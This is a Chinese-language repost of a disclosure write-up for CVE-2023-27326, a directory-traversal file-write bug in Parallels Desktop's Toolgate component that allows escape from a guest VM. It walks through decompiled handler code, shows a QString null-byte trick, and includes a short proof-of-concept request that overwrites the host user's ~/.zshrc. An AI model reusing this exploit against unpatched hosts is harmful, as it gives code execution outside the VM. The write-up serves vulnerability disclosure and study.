用于 Parallels Desktop

项目地址

https://github.com/Impalabs/CVE-2023-27326

Parallels Desktop 虚拟机转义

此存储库包含针对已分配 CVE-2023-27326 的Parallels Desktop漏洞的利用。此漏洞允许本地攻击者提升受影响的 Parallels Desktop 安装的权限。

该漏洞已在 Parallels Desktop 版本 18.0.0 (53049) 上进行了测试,该漏洞已在 18.1.1 (53328)安全更新中进行了修补。

漏洞详情

Toolgate组件中存在特定缺陷。该问题是由于在文件操作中使用用户提供的路径之前未对其进行适当验证而导致的。攻击者可以利用此漏洞提升权限并在主机系统当前用户的上下文中执行任意代码。

可以在随附的博客文章中找到该漏洞的完整详细信息。

 

此公告包含有关以下漏洞的信息:

目录遍历任意文件写入漏洞

此漏洞允许本地攻击者写入任意文件并提升受影响的Parallels Desktop安装的权限。攻击者必须首先获得在目标客户系统上执行高权限代码的能力才能利用此漏洞。

Toolgate组件中存在特定缺陷。该问题是由于在文件操作中使用用户提供的路径之前未对其进行适当验证而导致的。攻击者可以利用此漏洞在主机系统当前用户的上下文中写入任意文件并执行代码。

即使启用了“与 Mac 隔离”功能,也可以访问易受攻击的代码路径。

漏洞总结

易受攻击的代码位于 Parallel Desktop Toolgate 组件的请求处理程序之一。来宾通常使用此请求将故障转储文件写入GuestDumpsVM 主目录的子文件夹中。该文件的内容完全由用户控制,但其文件名的格式为以下模式:<user_input_trunc>.<i>-<j>-<k>-<l>.<date>-<time>.<ext>.

该漏洞是双重的:

  • 首先,因为没有对<user_input_trunc>文件名进行检查,所以可以执行目录遍历,允许写入位于目标文件夹之外的文件。
  • 然后,由于 QtQByteArrayQString类的微妙之处,可以完全跳过文件名的格式设置(但不幸的是不能截断用户输入),从而导致几乎完全由用户控制的路径。

最后,这种任意文件写入可用于覆盖 shell 登录脚本并以用户身份执行任意代码。

漏洞详情

CSHAShellExt该漏洞存在于请求TG_REQUEST_VIRTEX_CRASH(ID 0x8323)工具的命令处理程序中。该工具的所有命令CSHAShellExt最终都在函数中CSHAShellExt::handle_request_inner(将从不同的线程调用):

uint64_t CSHAShellExt::handle_request_inner(CSHAShellExt *this, request *request) {
    // ...

    uint32_t inline_size = request->InlineByteCount;
    uint32_t *inline_data = get_request_inline_data_inner(request);

    // Ensure that there's enough inline data for the header
    if (inline_size < 0x10) { /* ... */ }

    // Ensure that the version is supported (1, 0)
    if (inline_data[0] != 1) { /* ... */ }

    // Handle the request by type
    switch (request->Request) {
        // ...

        case TG_REQUEST_VIRTEX_CRASH:
            // Ensure that this is the correct operation code (?)
            if (inline_data[2] != 4) { /* ... */ }
            // Ensure that there's at least 0x200 bytes of inline data
            if (inline_size < 0x200) { /* ... */ }
            // Call the appriopriate handler
            this->virtex_req_crash(request, inline_data, &ret);
            goto FINISH_REQUEST;

        // ...
    }
    // ...
}

此函数将请求转发到适当的处理程序,因为该CSHAShellExt工具接受不同类型的请求。在请求的情况下TG_REQUEST_VIRTEX_CRASH,相应的处理程序是CSHAShellExt::virtex_req_crash

void CSHAShellExt::virtex_req_crash(
        CSHAShellExt *this,
        request *request,
        uint32_t *inline_data,
        uint32_t *ret_p) {
    // ...

    // Compute the path where to store the guest dumps files
    this->m_CVirtualPC->m_CVmConfiguration->getVmIdentification()->getHomePath(&homepath);
    get_file_dir_absolute_path(&homepath_abs, &homepath);
    format_guestdumps_path(&guestdumps, &homepath_abs);
    // ...

    // Get the buffer containing the file data
    if (request->BufferCount == 0) { /* ... */ }
    buffer0_pages = map_buffer_at_idx_pages_from_guest_inner(request, 0, 0);
    if (buffer0_pages == NULL) { /* ... */ }
    // ...

    // Get the buffer containing the file name
    QString pbProcName;
    pbProcName_idx = inline_data[0x44];
    if (pbProcName_idx == 0)
        goto SKIP_PBPROCNAME;
    pbProcName_pages = map_buffer_at_idx_pages_from_guest_inner(request, pbProcName_idx, 0);
    if (pbProcName_pages == NULL) { /* ... */ }

    QByteArray pbProcName_arr;
    pbProcName_arr.resize(pbProcName_pages->RequestSize);
    read_from_buffer_pages_inner(pbProcName_pages, 0, pbProcName_arr.data(), pbProcName_pages->RequestSize);
    pbProcName = QString::fromUtf8(pbProcName_arr);
    // ...

SKIP_PBPROCNAME:
    // ...

SKIP_PBPROCPATH:
    // Handle the subrequest by type
    code = inline_data[7];
    switch (code) {
        // ...
        case 1:
            // Prepare the guest dumps directory
            prepare_guestdumps_dir(&guestdumps);
            // ...

            // Format the crash dump filename
            format_dump_filename(&filename, inline_data, &pbProcName);
            // ...

            // Build the final path from the directory and filename
            QString filepath(guestdumps);
            filepath.append(QDir::separator());
            filepath.append(filename);
            // ...

            // Finally, write the crash dump to disk
            write_dump_to_disk(buffer0_pages, &filepath);
            // ...
            break;
        // ...
    }
    // ...
}

该处理程序首先使用 检索 VM 的主路径(~/Parallels/<vmname>.pvm默认情况下)CVmIdentification::getHomePath。它使用获取其绝对路径get_file_dir_absolute_path并附加到/GuestDumpsformat_guestdumps_path以创建最终路径。

void get_file_dir_absolute_path(QString& abs_path, const QString& path) {
    // ...
    abs_path = QFileInfo(path).dir().absolutePath();
    // ...
}
void format_guestdumps_path(QString& guestdumps, QString& homepath) {
    // ...
    // Append /GuestDumps to the home path
    guestdumps.append(homepath);
    guestdumps.append("/");
    guestdumps.append("GuestDumps");
    // ...
}

请求缓冲区 #0 包含故障转储数据。请求缓冲区 #n(n从内联数据中提取)包含故障转储文件名。文件名被提取并解析为 UTF-8 字符串(稍后将详细介绍该部分)。

最后,处理程序从内联数据中提取另一个子请求类型。如果它是 1(“在不触发崩溃的情况下写入崩溃转储”),它将执行以下操作:

  • 它调用prepare_guestdumps_dir创建来宾转储目录并删除以前的故障转储;
  • 它调用format_dump_filename附加各种整数、当前日期/时间和文件名的扩展名;
  • 它连接来宾转储目录和格式化的故障转储文件名(启用目录遍历);
  • 它调用write_dump_to_disk将故障转储数据写入生成的文件路径。

prepare_guestdumps_dir, format_dump_filenameand的代码write_dump_to_disk可以参考如下:

void prepare_guestdumps_dir(QString &guestdumps) {
    // ...
    // Create the directory if it doesn't exist
    QDir dir(guestdumps);
    if (!dir.exists())
        dir.mkdir(".");

    // Remove all files with the specified extensions
    QStringList extensions = { "*.dmp", "*.crash", "*.dump" };
    QFileInfoList list = dir.entryInfoList(extensions, 0x10A, 1);
    for (int i = 0; i < list.size(); ++i)
        QFile::remove(list.at(i).absoluteFilePath());
    // ...
}
void format_dump_filename(QString& filename, uint32_t *inline_data, QString& pbProcName) {
    // ...
    // Append some numbers from the inline data to the filename
    filename = pbProcName.mid(0, 20);
    filename.append(".");
    filename.append(QString::number(inline_data[8], 10));
    filename.append("-");
    filename.append(QString::number(inline_data[9], 10));
    filename.append("-");
    filename.append(QString::number(inline_data[0xB], 10));
    filename.append("-");
    filename.append(QString::number(inline_data[0xA], 10));

    // ...
    // Append the current date & time to the filename
    filename.append(QChar("."));
    filename.append(QDateTime::currentDateTime().date().toString());
    filename.append(QDateTime::currentDateTime().time().toString("-hhmmss"));
    // ...

    // Append the VM type to the filename
    switch (inline_data[4]) {
        case 0:
            filename.append(".non");
            break;
        // ...
    }
    // ...

    // Append the dump type to the filename
    switch (inline_data[6]) {
        case 3:
            filename.append(".dump");
            break;
        // ...
    }
    // ...
}
void write_dump_to_disk(pages *buffer0_pages, const QString& filepath) {
    // ...
    // Open the file for writing
    QFile file(filepath);
    if (!file.open(2)) { /* ... */ }

    // Write the content of the buffer to it
    pos = 0;
    while (1) {
        len = get_remaining_bytes_from_buffer(buffer0_pages, pos, &buf);
        if (!len)
            break;
        pos += len;
        file.write(buf, len);
        // ...
    }

    // Close the file
    file.close();
    // ...
}

 

乍一看,文件名似乎无法完全控制,因为format_dump_filename会截断它,然后为其添加多个后缀。但是,如果我们提供一个pbProcName缓冲区,其中我们的文件名后跟至少一个空字节,则调用QString::fromUtf8将创建一个以至少一个空 unicode 字符结尾的字符串(因为QStrings 不是以空字符结尾的)。然后,在向其追加其他字符串时,它们将在空 unicode 字符之后。最后,当它传递给 时QFile::QFile,将只使用第一个空字符之前的字符。因此,我们可以完全控制文件名,除了最大长度为 19 个字符(因为被截断为 20 个字符,减去一个空字节)。

以下测试代码及其输出突出显示了此行为。

#include <QDebug>
#include <QString>

int main(int argc, char *argv[]) {
    char buf[10];
    memset(buf, 0, sizeof(buf));
    strcpy(buf, "Hello");
    QString str = QString::fromUtf8(buf, sizeof(buf));
    qInfo() << str;
    str.append(" World");
    qInfo() << str;
    printf("%s\n", str.toStdString().c_str());
}

 

"Hello\u0000\u0000\u0000\u0000\u0000"
"Hello\u0000\u0000\u0000\u0000\u0000 World"
Hello

从上面可以看出,初始QString包含空 unicode 字符,一个用于创建它的缓冲区的每个空字节。然后在空 unicode 字符之后附加第二个字符串。最后,当将结果QString转换为常规 C 字符串时,空 unicode 字符将转换为空字节,因此调用的输出printf不包括字符串的第二部分。

开发

此漏洞可用于用任意内容覆盖用户主目录中的文件。在我们的利用中,我们决定以 shell 配置文件为目标~/.zshrc并用一个简单的open /System/Applications/Calculator.app. 这将导致每次用户打开新的终端窗口/选项卡时都会打开计算器应用程序。另一个有趣的目标可能是位于其主路径中的 VM 配置文件config.pvs,以尝试启用共享文件夹功能并获得对整个主机文件系统的访问权限。

 

 

基本上,我们的利用归结为发出以下请求:

void exploit(void) {
    char inln[0x200];
    char *CR = kzalloc(0x1000, GFP_KERNEL);
    char *pbProcName = kzalloc(0x1000, GFP_KERNEL);

    memset(inln, 0, sizeof(inln));
    *(uint32_t *)(inln + 0) = 1;
    *(uint32_t *)(inln + 8) = 4;
    *(uint32_t *)(inln + 0x1c) = 1;
    *(uint32_t *)(inln + 0x110) = 1;
    strcpy(CR, "open /System/Applications/Calculator.app\n");
    strcpy(pbProcName, "../../../.zshrc");

    twobuf_req(0x8323, inln, 0x200, CR, strlen(CR), pbProcName, strlen(pbProcName)+1, 0);

    //kfree(CR);
    //kfree(pbProcName);
}

完整的漏洞利用代码可以在我们的GitHub 存储库中找到。

补丁

此漏洞分配为 CVE-2023-27326,并在Parallels Desktop 的18.1.1 (53328) 安全更新中进行了修补。

时间轴

  • 2022 年 9 月 19 日– 案例在 ZDI 研究人员门户上打开。
  • 2022 年 9 月 20 日– 在 ZDI 研究人员门户上分配的案例。
  • 2022 年 10 月 10 日– ZDI 研究人员门户上的案例调查。
  • 2022 年 11 月 3 日– 案例审查并向供应商披露。
  • 2022 年 12 月 13 日– 该漏洞已在 18.1.1 更新中修复。
  • 2023 年 3 月 7 日该公告发布在 ZDI 网站上。

请登录后发表评论

    没有回复内容